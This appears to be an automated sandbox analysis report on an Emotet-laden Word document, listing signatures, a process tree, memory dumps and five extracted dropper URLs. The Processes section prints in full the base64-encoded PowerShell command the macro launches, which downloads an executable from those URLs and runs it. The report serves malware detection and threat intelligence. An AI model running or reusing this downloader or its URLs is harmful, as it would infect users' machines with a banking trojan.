Overview

overview

10

Static

static

8

SRT_070120...20.doc

windows7_x64

10

SRT_070120...20.doc

windows10_x64

10

Analysis

  • max time kernel
    56s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    28/07/2020, 07:43

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General

  • Target
    SRT_070120_YUZ_072820.doc
  • Size 169KB
  • Sample200728-spdx1kdcvj
  • SHA256 fa0ce8c142463b37579d0d5a4fbb8da9dde5081ce2d5ffe0303872a533e7e190
  • MD5 SHA1 SHA512
Score
10/10
discoverytrojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://yamnadlan.com/ynpw/xbmls_93_p7nihtnif9/
  • exe.dropper

    https://xaviertapias.com/images/3z_f73rn_ay/
  • exe.dropper

    http://www.tatweeralsham.com/cgi-bin/2_y_v7g/
  • exe.dropper

    http://strike3productions.com/squad/f3_v_zmbt5xob7/
  • exe.dropper

    http://taltus.co.uk/a_359_l/

Signatures

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SRT_070120_YUZ_072820.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:112
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB2AGkAYQBtAGcAdQB1AGIAZgBlAG8AdABoAGMAaAB1AHYAPQAnAGwAZQBnAGYAbwB1AGgAegBlAG8AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAEkAVABgAHkAcAByAG8AVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJAB5AGkAYQBmAGgAYQBpAHQAYwBoAHUAdQBzAGoAYQBjACAAPQAgACcAOAA4ADIAJwA7ACQAZwBlAGUAYgBxAHUAYQB1AHMAZwBlAG8AegB0AGUAYQBzAD0AJwBwAGEAZQBkAHgAZQBlAHIAYwBpAHoAJwA7ACQAYgBhAGkAaABtAG8AdQBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB5AGkAYQBmAGgAYQBpAHQAYwBoAHUAdQBzAGoAYQBjACsAJwAuAGUAeABlACcAOwAkAGMAbwBqAHoAYQBpAHMAbQBhAHUAcwBkAGEAYwBoAD0AJwBjAGEAbwB4AHAAbwBhAGwAJwA7ACQAbABpAGUAdgBqAGUAbwBkAGQAYQBtAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAVAAuAFcAZQBiAGMAbABpAEUATgB0ADsAJABuAG8AaQB2AHcAdQB1AGcAdABhAHUAcwBoAG8AdQB4AD0AJwBoAHQAdABwADoALwAvAHkAYQBtAG4AYQBkAGwAYQBuAC4AYwBvAG0ALwB5AG4AcAB3AC8AeABiAG0AbABzAF8AOQAzAF8AcAA3AG4AaQBoAHQAbgBpAGYAOQAvACoAaAB0AHQAcABzADoALwAvAHgAYQB2AGkAZQByAHQAYQBwAGkAYQBzAC4AYwBvAG0ALwBpAG0AYQBnAGUAcwAvADMAegBfAGYANwAzAHIAbgBfAGEAeQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHQAYQB0AHcAZQBlAHIAYQBsAHMAaABhAG0ALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAyAF8AeQBfAHYANwBnAC8AKgBoAHQAdABwADoALwAvAHMAdAByAGkAawBlADMAcAByAG8AZAB1AGMAdABpAG8AbgBzAC4AYwBvAG0ALwBzAHEAdQBhAGQALwBmADMAXwB2AF8AegBtAGIAdAA1AHgAbwBiADcALwAqAGgAdAB0AHAAOgAvAC8AdABhAGwAdAB1AHMALgBjAG8ALgB1AGsALwBhAF8AMwA1ADkAXwBsAC8AJwAuACIAcwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABtAGUAZQB0AGgAeABhAGUAYwBsAHUAdQB0AD0AJwBnAG8AdQBsAGsAYQBvAHEAdQB4AGUAbwB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABjAGgAYQBpAHAAbgB1AHAAIABpAG4AIAAkAG4AbwBpAHYAdwB1AHUAZwB0AGEAdQBzAGgAbwB1AHgAKQB7AHQAcgB5AHsAJABsAGkAZQB2AGoAZQBvAGQAZABhAG0ALgAiAEQAbwB3AGAATgBsAG8AYQBkAGAARgBgAEkAbABFACIAKAAkAGMAaABhAGkAcABuAHUAcAAsACAAJABiAGEAaQBoAG0AbwB1AGsAKQA7ACQAYwBpAGUAZgBkAGEAaQB0AGgAeQBhAGkAcwBiAGEAaQBjAGgAPQAnAGoAbwBtAHEAdQBlAHUAZABwAGEAdQBjACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAYgBhAGkAaABtAG8AdQBrACkALgAiAEwAYABlAE4ARwB0AGgAIgAgAC0AZwBlACAAMwAzADAANAAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBgAGUAYQBUAGUAIgAoACQAYgBhAGkAaABtAG8AdQBrACkAOwAkAG4AZQB1AHAAZwBlAGUAYgB6AGUAaQBuAD0AJwBqAG8AdQBjAGgAagBpAGEAdgB0AGUAdQBiAHMAZQBhAHAAJwA7AGIAcgBlAGEAawA7ACQAZABpAGoAeQB1AGEAZABwAGkAYQB0AHoAbwB1AGoAPQAnAGMAYQBnAGwAZQBpAHAAdABvAG8AbgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB0AGgAZQBiAG4AbwBpAHkAPQAnAGgAYQBvAHEAdQB0AGEAawBxAHUAbwB1AHQAcgB1AGEAZgAnAA==
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    • Process spawned unexpected child process
    • Drops file in System32 directory
    PID:1860
  • C:\Users\Admin\882.exe
    C:\Users\Admin\882.exe
    1⤵
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:1788
    • C:\Windows\SysWOW64\netbtugc\stclient.exe
      "C:\Windows\SysWOW64\netbtugc\stclient.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1588

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/112-2-0x0000000008B00000-0x0000000008B04000-memory.dmp
        Download

        memory/112-4-0x0000000007020000-0x0000000007220000-memory.dmp
        Download

        memory/112-5-0x0000000002550000-0x0000000002554000-memory.dmp
        Download

        memory/112-6-0x00000000025D0000-0x00000000025D4000-memory.dmp
        Download

        memory/112-9-0x0000000001F10000-0x0000000001F11000-memory.dmp
        Download

        memory/1588-15-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1788-12-0x00000000002F0000-0x00000000002FC000-memory.dmp
        Download